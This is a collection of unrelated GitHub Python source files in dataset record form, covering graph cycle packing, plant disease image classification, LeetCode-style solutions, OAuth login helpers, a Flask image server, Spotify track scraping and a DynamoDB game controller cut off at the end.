creating the nodes in the graph graph\n # adding the nodes in the graph\n for edge in Y:\n ans_graph.add_node((edge[0], edge[1]))\n seen_Y.add(edge[0])\n seen_Y.add(edge[1])\n if (edge[0], edge[1]) in graph.edges and (edge[1], edge[0]) in graph.edges:\n weight = (\n graph.get_edge_data(edge[0], edge[1])[\"weight\"]\n + graph.get_edge_data(edge[1], edge[0])[\"weight\"]\n )\n ans_graph.add_edge(\n (edge[0], edge[1]),\n (edge[0], edge[1]),\n weight=weight,\n cycle=[edge[0], edge[1]],\n )\n for edge in graph.edges:\n if edge[0] not in seen_Y and edge[0] not in X:\n X.append(edge[0])\n ans_graph.add_node(edge[0])\n connect_2cycles(X, graph, ans_graph)\n connect_3cycles(X, Y, graph, ans_graph)\n exchanges = list(nx.max_weight_matching(ans_graph))\n if (\n len(exchanges) == 0 and ans_graph.number_of_edges() == 1\n ): # for the use-case of only self connected edge\n exchanges = [list(ans_graph.edges)[0]]\n temp_max = 0\n for cyc in exchanges:\n temp_max = temp_max + ans_graph.get_edge_data(cyc[0], cyc[1])[\"weight\"]\n if temp_max > max_weight:\n max_weight = temp_max\n max_cycles = exchanges\n max_graph = ans_graph.copy()\n\n result = [] # exctract only the cycles\n for cyc in max_cycles:\n cycle = max_graph.get_edge_data(cyc[0], cyc[1])[\"cycle\"]\n result.append(cycle)\n\n return result # exchanges\n\n\ndef connect_2cycles(X, graph, ans_graph):\n for i in range(\n len(X)\n ): # creating the edges in the graph by going through the 2-circles\n for j in range(i + 1, len(X)):\n if (X[i], X[j]) in graph.edges and (X[j], X[i]) in graph.edges:\n weight = (\n graph.get_edge_data(X[i], X[j])[\"weight\"]\n + graph.get_edge_data(X[j], X[i])[\"weight\"]\n )\n ans_graph.add_edge((X[i]), (X[j]), weight=weight, cycle=[X[i], X[j]])\n\n\ndef connect_3cycles(X, Y, graph, ans_graph):\n # creating the edges in the graph by going through the 3-circles\n for k in range(len(X)):\n for j, l in Y: # This deals with the normal case of Yi,j Xk\n if (l, X[k]) in graph.edges and (\n X[k],\n j,\n ) in graph.edges: # [j, l, X[k]] in cycles:\n weight = (\n graph.get_edge_data(j, l)[\"weight\"]\n + graph.get_edge_data(l, X[k])[\"weight\"]\n + graph.get_edge_data(X[k], j)[\"weight\"]\n )\n ans_graph.add_edge((X[k]), (j, l), weight=weight, cycle=[j, l, X[k]])\n\n\ndef simple_cycles(G, limit):\n \"\"\"\n >>> Digraph=nx.DiGraph()\n >>> Digraph.add_nodes_from([1,2,3,5,6,7,8])\n >>> Digraph.add_weighted_edges_from([(1,8,2),(8,1,4),(2,1,5),(1,3,4),(3,8,2),(8,2,3),(8,5,4),(5,7,3),(7,6,2),(6,5,4)])\n >>> Ys=list(simple_cycles(Digraph,3))\n >>> print(Ys)\n [[8, 2, 1], [8, 1, 3], [8, 1], [5, 7, 6]]\n >>> Digraph =nx.DiGraph()\n >>> Digraph.add_nodes_from([1,2,3,4])\n >>> Digraph.add_weighted_edges_from([(2,1,3),(1,3,1),(3,2,2),(3,4,5),(4,3,9)])\n >>> Ys=list(simple_cycles(Digraph,3))\n >>> print(Ys)\n [[1, 3, 2], [3, 4]]\n >>> graphEX3 = nx.DiGraph()\n >>> graphEX3.add_nodes_from([10,11,12,13,14,15,16])\n >>> graphEX3.add_weighted_edges_from([(10,11,10),(11,12,5),(12,13,6),(13,10,4),(11,14,2),(14,16,3),(16,15,8),(15,14,6)])\n >>> Ys=list(simple_cycles(graphEX3,3))\n >>> print(Ys)\n [[16, 15, 14]]\n >>> graphEX3 =nx.DiGraph()\n >>> graphEX3.add_nodes_from([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20])\n >>> graphEX3.add_weighted_edges_from(\n ... [(1, 6, 11), (6, 1, 10), (1, 5, 3), (5, 1, 2), (8, 9, 11), (9, 8, 20), (3, 2, 6), (2, 6, 5), (6, 3, 8),\n ... (5, 7, 6), (7, 4, 11), (4, 5, 5), (10, 16, 1), (16, 11, 10), (11, 15, 3), (15, 11, 2), (18, 19, 11),\n ... (19, 18, 20), (13, 12, 6), (12, 16, 5), (16, 13, 8)])\n >>> Ys=list(simple_cycles(graphEX3,3))\n >>> print(Ys)\n [[18, 19], [16, 13, 12], [11, 15], [8, 9], [1, 5], [1, 6], [4, 5, 7], [2, 6, 3]]\n \"\"\"\n subG = type(G)(G.edges())\n sccs = list(nx.strongly_connected_components(subG))\n while sccs:\n scc = sccs.pop()\n startnode = scc.pop()\n path = [startnode]\n blocked = set()\n blocked.add(startnode)\n stack = [(startnode, list(subG[startnode]))]\n\n while stack:\n thisnode, nbrs = stack[-1]\n if nbrs and len(path) <= limit:\n nextnode = nbrs.pop()\n if nextnode == startnode:\n yield path[:]\n elif nextnode not in blocked:\n path.append(nextnode)\n stack.append((nextnode, list(subG[nextnode])))\n blocked.add(nextnode)\n continue\n if not nbrs or len(path) >= limit:\n blocked.remove(thisnode)\n stack.pop()\n path.pop()\n subG.remove_node(startnode)\n H = subG.subgraph(scc)\n sccs.extend(list(nx.strongly_connected_components(H)))\n\n\ndef create_Ys(graph, k):\n \"\"\"This function is used to create the cartesian product of the 3-cycles\n >>> Digraph=nx.DiGraph()\n >>> Digraph.add_nodes_from([1,2,3,5,6,7,8])\n >>> Digraph.add_weighted_edges_from([(1,8,2),(8,1,4),(2,1,5),(1,3,4),(3,8,2),(8,2,3),(8,5,4),(5,7,3),(7,6,2),(6,5,4)])\n >>> Ys,_=create_Ys(Digraph,3)\n >>> print(len(Ys)) #- the known product is supposed to be composed of 27 permutation\n 27\n >>> Digraph =nx.DiGraph()\n >>> Digraph.add_nodes_from([1,2,3,4])\n >>> Digraph.add_weighted_edges_from([(2,1,3),(1,3,1),(3,2,2),(3,4,5),(4,3,9)])\n >>> print(len(create_Ys(Digraph,3))) #- the known product is supposed to be composed of 1 permutation\n 2\n \"\"\"\n temp_cycles = simple_cycles(graph, k) # nx.recursive_simple_cycles(graph)\n cycles = []\n for cycle in temp_cycles:\n if len(cycle) == k:\n cycles.append(cycle)\n perm_arr = np.ndarray(shape=(len(cycles), k), dtype=list)\n for cyc_idx in range(len(cycles)):\n cyc = cycles[cyc_idx]\n for ed_idx in range(len(cyc)):\n mid = (cyc[ed_idx], cyc[(ed_idx + 1) % len(cyc)])\n perm_arr[cyc_idx][ed_idx] = mid\n mesh = []\n if len(perm_arr) > 0:\n mesh = np.array(np.meshgrid(*perm_arr))\n mesh = mesh.T.reshape(-1, len(mesh))\n\n return mesh, cycles\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == \"__main__\":\n # itertools.ne\n\n doctest.testmod()\n","repo_name":"TalSomech/MaxWeb","sub_path":"flask_example/algorithms/maximum_weight_cycle_packing.py","file_name":"maximum_weight_cycle_packing.py","file_ext":"py","file_size_in_byte":10259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"34936303319","text":"import h5py\r\nimport numpy as np\r\nfrom tensorflow.keras.preprocessing import image\r\nimport tensorflow as tf\r\nfrom tensorflow import keras\r\nimport pickle\r\nimport streamlit as st\r\n\r\nmodel1 = keras.models.load_model('model_1.h5')\r\n\r\nmodel2 = keras.models.load_model('model_1.h5')\r\n\r\n\r\ndiseases = ['Potato___Hollow_Heart',\r\n 'Squash___Powdery_mildew',\r\n 'Apple___Apple_scab',\r\n 'Apple___Black_rot',\r\n 'Tomato___Late_blight',\r\n 'Strawberry___Leaf_scorch',\r\n 'Apple___Cedar_apple_rust',\r\n 'Apple___healthy',\r\n 'Tomato___Spider_mites Two-spotted_spider_mite',\r\n 'Tomato___Early_blight',\r\n 'Tomato___Tomato_mosaic_virus',\r\n 'Potato___Late_blight',\r\n 'Tomato___healthy',\r\n 'Grape___healthy',\r\n 'Grape___Black_rot',\r\n 'Pepper,_bell___healthy',\r\n 'Tomato___Canker',\r\n 'Corn_(maize)___healthy',\r\n 'Cherry_(including_sour)___Powdery_mildew',\r\n 'Cherry_(including_sour)___healthy',\r\n 'Grape___Leaf_blight_(Isariopsis_Leaf_Spot)',\r\n 'Peach___healthy',\r\n 'Soybean___healthy',\r\n 'Corn_(maize)___Northern_Leaf_Blight',\r\n 'Apple___Rotten',\r\n 'Corn_(maize)___Common_rust_',\r\n 'Tomato___Septoria_leaf_spot',\r\n 'Grape___Esca_(Black_Measles)',\r\n 'Orange___Haunglongbing_(Citrus_greening)',\r\n 'Tea__Black_rot',\r\n 'Potato___healthy',\r\n 'Pepper,_bell___Bacterial_spot',\r\n 'Peach___Bacterial_spot',\r\n 'Raspberry___healthy',\r\n 'Blueberry___healthy',\r\n 'Tea__Healthy',\r\n 'Tomato___Leaf_Mold',\r\n 'Tomato___Bacterial_spot',\r\n 'Corn_(maize)___Cercospora_leaf_spot Gray_leaf_spot',\r\n 'Ginger__Healthy',\r\n 'Tomato___Tomato_Yellow_Leaf_Curl_Virus',\r\n 'Tomato___Target_Spot',\r\n 'Strawberry___healthy',\r\n 'Potato___Early_blight']\r\n\r\nimage_path = \"TeaHealthy1.JPG\"\r\nnew_img =keras.utils.load_img(image_path, target_size=(256, 256))\r\nimg = keras.utils.img_to_array(new_img)\r\nimg = np.expand_dims(img, axis=0)\r\nimg = img/255\r\nprediction = model1.predict(img)\r\n#probabilty = prediction.flatten()\r\n#max_prob = probabilty.max()\r\nindex=prediction.argmax(axis=-1)[0]\r\nclass_name = diseases[index]\r\n#ploting image with predicted class name \r\n#plt.figure(figsize = (4,4))\r\n#plt.imshow(new_img)\r\n#plt.axis('off')\r\n#plt.title(class_name+\" \"+ str(max_prob)[0:4]+\"%\")\r\n#plt.show()\r\nimg_name = image_path.split('/')[-1][:-5]\r\nprint(\"Actual class name :\", img_name)\r\nprint(\"Predicted class name :\", class_name)\r\n\r\n\r\n\r\n\r\n","repo_name":"abhijeet3447/Plant-Disease-Detection","sub_path":"app1.py","file_name":"app1.py","file_ext":"py","file_size_in_byte":2274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"1907582256","text":"class Solution(object):\n def numberOfArithmeticSlices(self, A):\n \"\"\"\n :type A: List[int]\n :rtype: int\n \"\"\"\n dp = [0] * len(A)\n for i in xrange(2, len(A)):\n if A[i] - A[i-1] == A[i-1] - A[i-2]:\n dp[i] = dp[i-1] + 1\n return sum(dp)\n","repo_name":"zqfan/leetcode","sub_path":"algorithms/413. Arithmetic Slices/solution2.py","file_name":"solution2.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"44"} +{"seq_id":"16934225854","text":"# first party\nfrom delphi.epidata.common.integration_test_base_class import DelphiTestBase\n\n\nclass GhtTest(DelphiTestBase):\n \"\"\"Basic integration tests for ght endpint.\"\"\"\n\n def localSetUp(self):\n self.truncate_tables_list = [\"ght\"]\n self.role_name = \"ght\"\n\n def test_ght(self):\n \"\"\"Basic integration test for ght endpoint\"\"\"\n self.cur.execute(\n \"INSERT INTO `ght`(`query`, `location`, `epiweek`, `value`) VALUES(%s, %s, %s, %s)\",\n (\"/n/query\", \"US\", \"200101\", \"12345\"),\n )\n self.cnx.commit()\n response = self.epidata_client.ght(locations=\"US\", epiweeks=\"200101\", query=\"/n/query\", auth=\"ght_key\")\n self.assertEqual(\n response,\n {\"epidata\": [{\"location\": \"US\", \"epiweek\": 200101, \"value\": 12345.0}], \"result\": 1, \"message\": \"success\"},\n )\n","repo_name":"cmu-delphi/delphi-epidata","sub_path":"integrations/server/test_ght.py","file_name":"test_ght.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":93,"dataset":"github-code","pt":"34"} +{"seq_id":"34920851671","text":"import webbrowser\nimport socket\nimport requests\nfrom oauth2client import _helpers\nfrom six.moves import BaseHTTPServer, http_client, urllib\nimport os\nimport sys\n\ntry:\n from rmaker_lib import serverconfig, configmanager\n from rmaker_lib.exceptions import SSLError, NetworkError\n from rmaker_lib.logger import log\nexcept ImportError as err:\n print(\"Failed to import ESP Rainmaker library. \" + str(err))\n raise err\n\n\nclass HttpdServer(BaseHTTPServer.HTTPServer):\n \"\"\"\n A server to handle requests on localhost.\n\n Waits for a single request and parses the query parameters\n and then stops serving.\n \"\"\"\n query_params = {}\n\n\nclass HttpdRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):\n \"\"\"\n A HTTP handler of requests on localhost.\n \"\"\"\n\n def do_GET(self):\n \"\"\"\n Handle a GET request and\n writes the ESP Rainmaker Welcome HTML page(response)\n back to HTTP Client\n\n :raises Exception: If there is any File Handling Issue\n\n :return: None on Success and Failure\n :rtype: None\n \"\"\"\n log.debug('Loading the welcome page after successful login.')\n self.send_response(http_client.OK)\n self.send_header('Content-type', 'text/html')\n self.send_header('Access-Control-Allow-Origin', '*')\n self.end_headers()\n parts = urllib.parse.urlparse(self.path)\n query = _helpers.parse_unique_urlencoded(parts.query)\n self.server.query_params = query\n index_file = os.path.join(os.path.expanduser('.'), 'html/welcome.html')\n\n try:\n with open(index_file, 'rb') as home_page:\n self.wfile.write(home_page.read())\n except Exception as file_err:\n log.error(file_err)\n sys.exit(1)\n\n def log_message(self, format, *args):\n \"\"\"\n Do not log messages to the command prompt.\n \"\"\"\n\n\ndef get_free_port():\n \"\"\"\n Get Free port\n\n :return: port on Success\n :rtype: int\n \"\"\"\n tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n tcp.bind(('', 0))\n addr, port = tcp.getsockname()\n tcp.close()\n return port\n\n\ndef browser_login():\n \"\"\"\n Opens browser with login url using Httpd Server.\n\n :raises Exception: If there is an HTTP issue while\n logging in through browser\n\n :return: None on Success and Failure\n :rtype: None\n \"\"\"\n log.info('Logging in through browser')\n server_instance = None\n for attempt in range(10):\n try:\n port = get_free_port()\n server_instance = HttpdServer(('localhost', port),\n HttpdRequestHandler)\n # Added timeout to handle keyboard interrupts for browser login.\n server_instance.timeout = 0.5\n break\n except socket.error as err:\n log.warn('Error %s. Port %s is not available.'\n 'Trying with next port.', err, port)\n\n if server_instance is None:\n log.error('Error: Could not launch local webserver.'\n 'Use --email option instead.')\n return\n\n url = serverconfig.LOGIN_URL + str(port) +\\\n '&host_url=' + serverconfig.HOST + 'login' +\\\n '&github_url=' + serverconfig.EXTERNAL_LOGIN_URL +\\\n str(port)\n\n print('Opening browser window for login...')\n open_status = webbrowser.open(url)\n if open_status is False:\n log.error('Failed to open login page. Please try again.')\n return\n else:\n print('Use the browser for login. Press ctrl+C to abort.')\n log.debug('Web browser opened. Waiting for user login.')\n try:\n while True:\n server_instance.handle_request()\n if 'error' in server_instance.query_params:\n log.error('Authentication Error: \"%s\". Description: \"%s\" ' +\n server_instance.query_params['error'] +\n server_instance.query_params.ge('error_description'))\n return\n if 'code' in server_instance.query_params:\n log.debug('Login successful. Received authorization code.')\n code = server_instance.query_params['code']\n get_tokens(code)\n print('Login successful')\n return\n\n if 'id_token' in server_instance.query_params and \\\n 'refresh_token' in server_instance.query_params:\n log.debug('Login successful.'\n 'Received idtoken and refresh token.')\n config_data = {}\n config_data['idtoken'] = server_instance.query_params[\n 'id_token'\n ]\n config_data['refreshtoken'] = server_instance.query_params[\n 'refresh_token'\n ]\n config_data['accesstoken'] = server_instance.query_params[\n 'access_token'\n ]\n configmanager.Config().set_config(config_data)\n print('Login successful')\n return\n except Exception as browser_login_err:\n log.error(browser_login_err)\n\n\ndef get_tokens(code):\n \"\"\"\n Get access token and set the config file after successful browser login.\n\n :raises Exception: If there is an HTTP issue in getting access token\n :raises SystemExit: If Exception is raised\n\n :return: None on Success and Failure\n :rtype: None\n \"\"\"\n log.info('Getting access tokens using authorization code.')\n client_id = serverconfig.CLIENT_ID\n request_data = 'grant_type=authorization_code&client_id=' + client_id +\\\n '&code=' + code + '&redirect_uri=' +\\\n serverconfig.REDIRECT_URL\n\n request_header = {'content-type': 'application/x-www-form-urlencoded'}\n try:\n response = requests.post(url=serverconfig.TOKEN_URL,\n data=request_data,\n headers=request_header,\n verify=configmanager.CERT_FILE)\n response.raise_for_status()\n except requests.exceptions.SSLError:\n raise SSLError\n except requests.exceptions.ConnectionError:\n raise NetworkError\n except Exception as get_token_err:\n log.error(get_token_err)\n sys.exit(1)\n else:\n config_data = {}\n result = response.json()\n config_data['idtoken'] = result['id_token']\n config_data['refreshtoken'] = result['refresh_token']\n config_data['accesstoken'] = result['access_token']\n log.debug('Received access tokens using authorization code.')\n configmanager.Config().set_config(config_data)\n return\n","repo_name":"m5stack/Core2-for-AWS-IoT-Kit","sub_path":"Getting-Started/cli/rmaker_cmd/browserlogin.py","file_name":"browserlogin.py","file_ext":"py","file_size_in_byte":6996,"program_lang":"python","lang":"en","doc_type":"code","stars":121,"dataset":"github-code","pt":"34"} +{"seq_id":"28288826270","text":"import sys\nN, M = map(int, sys.stdin.readline().split())\ngraph = [list(map(int, sys.stdin.readline().split())) for _ in range(N)]\n\nmin_result = int(1e9)\n\n#집 위치 및 치킨 집 위치\nhouse = []\nchicken = []\nfor i in range(N):\n for j in range(N):\n if graph[i][j] == 1:\n house.append((i,j))\n elif graph[i][j] == 2:\n chicken.append((i,j))\n\n#도시의 치킨 거리가 가장 작게 되게 고르는 함수\nselect_chicken = []\ndef backtracking(start,count):\n global min_result\n #총 치킨 거리 도출\n if count == M:\n total_Distance = 0\n for hx, hy in house:\n Distance = int(1e9)\n for cx, cy in select_chicken:\n Distance = min(Distance,abs(hx-cx)+abs(hy-cy))\n total_Distance += Distance\n min_result = min(min_result, total_Distance)\n return\n #치킨 집 선택\n for i in range(start,len(chicken)):\n select_chicken.append(chicken[i])\n backtracking(i+1,count+1)\n select_chicken.pop()\n\nbacktracking(0,0)\nprint(min_result)","repo_name":"ComputerElectricElectronicJHLee/CodingTest_Algorithm","sub_path":"백준/Gold/15686. 치킨 배달/치킨 배달.py","file_name":"치킨 배달.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"34"} +{"seq_id":"17139731181","text":"import requests\nimport time\n\nclass SafraOAuth2:\n def __init__(self, base64credentials):\n self.base64credentials = base64credentials\n self.__connect()\n\n def __connect(self):\n form = {\n 'grant_type': 'client_credentials',\n 'scope': 'urn:opc:resource:consumer::all'\n }\n headers = {\n 'Authorization': 'Basic ' + self.base64credentials\n }\n self.connected_time = time.time()\n response = requests.post('https://idcs-902a944ff6854c5fbe94750e48d66be5.identity.oraclecloud.com/oauth2/v1/token', headers=headers, data=form)\n self.connected = response.status_code == 200\n if self.connected:\n access = response.json()\n self.access_type = access[\"token_type\"]\n self.access_token = access[\"access_token\"]\n self.expires_in = access[\"expires_in\"]\n\n def is_connected(self):\n elapsed_time = time.time() - self.connected_time\n if elapsed_time >= self.expires_in:\n self.connected = False\n return self.connected\n\n def get_token_type(self):\n if not self.is_connected():\n self.__connect()\n if self.is_connected():\n return self.access_type\n else:\n return None\n\n def get_token(self):\n if not self.is_connected():\n self.__connect()\n if self.is_connected():\n return self.access_token\n else:\n return None\n","repo_name":"marinatakii/easy-safra","sub_path":"oauth.py","file_name":"oauth.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"4571359767","text":"import io\nimport hashlib\nfrom urllib.request import urlopen\n\nfrom flask import Flask, request, send_file\nfrom wand.image import Image\nfrom wand.exceptions import WandException\n\nfrom storages import default_storage\nfrom caches import default_cache\nfrom handler import process_image\n\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef hello_world():\n return 'Hello, World!'\n\n\n@app.route('/image/', methods=['GET'])\ndef view_image(image_hash_and_operations):\n if '/' in image_hash_and_operations:\n image_hash, operations = image_hash_and_operations.split('/', 1)\n else:\n image_hash = image_hash_and_operations\n operations = None\n\n image = default_cache.get_image(image_hash, operations)\n if image:\n return send_file(io.BytesIO(image.make_blob()), mimetype=image.mimetype)\n\n image = default_storage.get_image(image_hash)\n if not image:\n return {\n 'status': 'error',\n 'message': 'image not found: {0}'.format(image_hash)\n }, 404\n\n if operations:\n image = process_image(image, operations)\n if not image:\n return {\n 'status': 'error',\n 'message': 'bad operations: {0}'.format(operations)\n }, 400\n default_cache.store_image(image, image_hash, operations)\n\n return send_file(io.BytesIO(image.make_blob()), mimetype=image.mimetype)\n\n\n@app.route('/upload', methods=['POST'])\ndef upload():\n if 'file' not in request.files:\n return {\n 'status': 'error',\n 'message': 'no file provided'\n }, 400\n\n f = request.files['file']\n\n try:\n with Image(file=f) as image:\n image_hash = default_storage.store_image(image)\n return {\n 'status': 'success',\n 'hash': image_hash\n }\n except WandException:\n return {\n 'status': 'error',\n 'message': 'image processing error'\n }, 400\n\n\n@app.route('/image/', methods=['DELETE'])\ndef delete_image(image_hash):\n default_cache.delete_image(image_hash)\n deleted = default_storage.delete_image(image_hash)\n if deleted:\n return {\n 'status': 'success'\n }\n else:\n return {\n 'status': 'error',\n 'message': 'file not found'\n }, 404\n\n\n@app.route('/external', methods=['GET'])\ndef external():\n url = request.args.get('url')\n operations = request.args.get('operations')\n assert url and operations\n\n reset_cache = request.args.get('reset_cache') == '1'\n image_hash = hashlib.sha1(url.encode('utf-8')).hexdigest()\n\n if not reset_cache:\n image = default_cache.get_image(image_hash, operations)\n if image:\n return send_file(io.BytesIO(image.make_blob()), mimetype=image.mimetype)\n\n response = urlopen(url)\n f = io.BytesIO(response.read())\n\n with Image(file=f) as image:\n if operations:\n image = process_image(image, operations)\n if not image:\n return {\n 'status': 'error',\n 'message': 'bad operations: {0}'.format(operations)\n }, 400\n default_cache.store_image(image, image_hash, operations)\n\n return send_file(io.BytesIO(image.make_blob()), mimetype=image.mimetype)\n","repo_name":"hypnocapybara/images-server","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3363,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"34"} +{"seq_id":"19299771594","text":"import numpy as np\r\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\r\nimport os\r\nimport random\r\n\r\n#test illness fish Generator\r\ntrain_datagen = ImageDataGenerator(\r\n rescale=1./255,\r\n zoom_range=[0.5, 1.0],\r\n horizontal_flip=True,\r\n width_shift_range=1.0,\r\n height_shift_range=1.0, \r\n brightness_range=[0.2, 1.0]\r\n)\r\n\r\nxy_train = train_datagen.flow_from_directory(\r\n 'C:/data/fish_data/fish_datasets/test',\r\n target_size = (240, 360),\r\n batch_size = 500,\r\n class_mode= 'binary' ,\r\n save_to_dir='C:/data/fish_data/fish_datasets/test_image' #정의해논걸 print로 한번 건드려줘야 작성함(건드려 준 만큼 이미지 생성됨)\r\n)\r\n\r\ngen = int(6) #반복한 만큼 image수 *n 번 생성\r\n \r\nfor i in range(gen) :\r\n print(xy_train[0][1])\r\n\r\n\r\ndef keep_n_dir(directory, n):\r\n files = os.listdir(directory) \r\n if len(files) > n: \r\n diff = len(files) - n\r\n files_to_delete = random.sample(files, k=diff) \r\n for file in files_to_delete: \r\n os.remove(os.path.join(directory, file)) \r\n\r\npath_to_all_images_folder = 'C:/data/fish_data/fish_datasets/x_train/illness'\r\ndirectories = os.listdir(path_to_all_images_folder)\r\ndirectories = [os.path.join(path_to_all_images_folder, folder) for folder in directories]\r\nfor directory in directories:\r\n if os.path.isdir(directory):\r\n keep_n_dir(directory, n)\r\n\r\nkeep_n_dir('C:/data/fish_data/fish_datasets/x_train/illness', 1000)","repo_name":"TaeYeon-kim-ai/tropical_fish_illness_project","sub_path":"02_fish_data_ImageG.py","file_name":"02_fish_data_ImageG.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"21478047513","text":"#!/usr/bin/env python3\n\nimport pandas as pd\nimport numpy as np\nfrom spotify_account import SpotifyAccount\n\nacc = SpotifyAccount()\nsp = acc.spotify\nartist = \"Dance Gavin Dance\"\nartist_uri = \"6guC9FqvlVboSKTI77NG2k\"\n\ndef get_records(artist_uri, album_type, limit=50):\n \"\"\"Get a list of the records (of a specific album_type) for a given artist\n\n Args:\n artist_uri (str): The artist URI \n album_type (str): The type of record to retrieve data for\n limit (int, optional): Limiting the number of items to return. Defaults to 50.\n\n Returns:\n list: A list of dictionaries with record data\n \"\"\"\n return sp.artist_albums(artist_uri, album_type=album_type, limit=limit)[\"items\"]\n\ndef match_record_to_id(record_data):\n \"\"\"Match the record title to its URI\n\n Args:\n record_data (dict): The dictionary with Spotify catalog information about artist's albums\n\n Returns:\n tuple: The pair (album name, album URI)\n \"\"\"\n return (record_data[\"name\"], record_data[\"id\"])\n\n\ndef get_tracks(record_name):\n \"\"\"Get the track names for a specific record\n\n Args:\n record_name (str): The name of the record as seen on Spotify Desktop App. Not robust to spelling or capitalization errors.\n\n Returns:\n list: List of tracks that appear on a specific album as strings\n \"\"\"\n record_id = records_to_ids[record_name]\n results = pd.DataFrame(data=sp.album_tracks(record_id))[\"items\"]\n n_tracks = len(results)\n return [results[i][\"name\"] for i in range(0, n_tracks)]\n\ndef get_track_id(track):\n \"\"\"Get the URI for a single track\n\n Args:\n track (str): The name of the track to lookup as seen on Spotify Desktop App. Not robust to spelling or capitalization errors.\n\n Returns:\n str: The URI identifying a track\n \"\"\"\n results = sp.search(track, type=\"track\")[\"tracks\"][\"items\"][0]\n return results[\"id\"]\n\n#full length albums from Dance Gavin Dance\nfull_albums = get_records(artist_uri, \"album\")\n#singles and EPs from Dance Gavin Dance\nsingles = get_records(artist_uri, \"single\")\n#one list of full length albums, singles, and EPs\nall_records = full_albums+singles\n\n#mapping album names to album id\nrecords_to_ids = {}\nfor d in all_records:\n result = match_record_to_id(d)\n records_to_ids[result[0]] = result[1]\n\ntracks_to_ids = []\nfor album_name, uri in records_to_ids.items():\n tracks = get_tracks(album_name)\n for track in tracks:\n tracks_to_ids.append((track, get_track_id(track)))\n\nntracks = len(tracks_to_ids)\ntracks_df = pd.DataFrame(data={\"Tracks\":[tracks_to_ids[i][0] for i in range(0, ntracks)], \"URI\":[tracks_to_ids[i][1] for i in range(0, ntracks)]})\n\n#write tracklist to file on disk\ntracks_df.to_csv(\"tracklist.csv\")","repo_name":"nurriol2/dgd_lyric_generation","sub_path":"data_processing/data_collection.py","file_name":"data_collection.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"26996725119","text":"import os\nimport random\nimport string\nfrom typing import List\nfrom dotenv import load_dotenv\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker, Session\nfrom server.generation.generators.base import Variant\n\nfrom server.models.lab import Lab\nfrom server.models.lab_variant import LabVariant\nfrom server.models.student import Student\n\n\nload_dotenv(dotenv_path=\".env.test\")\n\n# Set up the testing database URL\nTEST_DATABASE_URL = os.getenv(\"SYNC_DATABASE_URL\", \"TESTING_DB\")\n\n# Set up the testing engine and session factory\ntest_engine = create_engine(TEST_DATABASE_URL)\ntest_session_factory = sessionmaker(\n autocommit=False, autoflush=False, bind=test_engine, class_=Session\n)\n\n\ndef generate_random_string(length=6):\n return \"\".join(random.choices(string.ascii_letters + string.digits, k=length))\n\n\ndef assign_variants(\n lab: Lab, variants: List[Variant], students: List[Student], db: Session\n) -> List[LabVariant]:\n assert len(variants) == len(students)\n lab_vars = []\n\n for i, variant in enumerate(variants):\n lab_variant = LabVariant(\n lab_id=lab.id,\n student_id=students[i].id,\n variant_number=i,\n variant_filename=variant.file_name,\n file_key=variant.key,\n tutor_for_check_id=lab.tutor_id,\n )\n db.add(lab_variant)\n db.commit()\n lab_vars.append(lab_variant)\n\n return lab_vars\n","repo_name":"Sugarhl/zxcursed_work","sub_path":"tests/testsuite/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"34"} +{"seq_id":"71984072739","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n\ndef load_protobuf_from_file(container, filename):\n# if not file_io.file_exists(filename):\n# raise IOError(\"File %s does not exist.\" % filename)\n\n # First try to read it as a binary file.\n with open(filename, 'rb') as fin:\n file_content = fin.read()\n\n try:\n container.ParseFromString(file_content)\n print(\"Parse file [%s] with binary format successfully.\" % (filename))\n return container\n except Exception as e: # pylint: disable=broad-except\n print(\"Info: Trying to parse file [%s] with binary format but failed with error [%s].\" % (filename, str(e)))\n\n # Next try to read it as a text file.\n try:\n from google.protobuf import text_format \n text_format.Parse(file_content.decode('UTF-8'), container, allow_unknown_extension=True)\n print(\"Parse file [%s] with text format successfully.\" % (filename))\n except text_format.ParseError as e:\n raise IOError(\"Cannot parse file %s: %s.\" % (filename, str(e)))\n\n return container\n\n\ndef listToStr(data):\n ret = \"\"\n first = True\n for e in data:\n if first == False:\n ret += \", \"\n ret += str(e)\n first = False\n return ret\n\n\n","repo_name":"kitstar/DNNConvert","sub_path":"common/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"34"} +{"seq_id":"32278193066","text":"import boto3\nfrom boto3.dynamodb.conditions import Key, Attr\nfrom botocore.exceptions import ClientError\n\n\nfrom datetime import datetime\n\nclass GameController:\n \"\"\"\n This GameController class basically acts as a singleton providing the necessary\n DynamoDB API calls.\n \"\"\"\n def __init__(self, connectionManager):\n self.cm = connectionManager\n self.ResourceNotFound = 'com.amazonaws.dynamodb.v20120810#ResourceNotFoundException'\n\n def createNewGame(self, gameId, creator, invitee):\n \"\"\"\n Using the High-Level API, an Item is 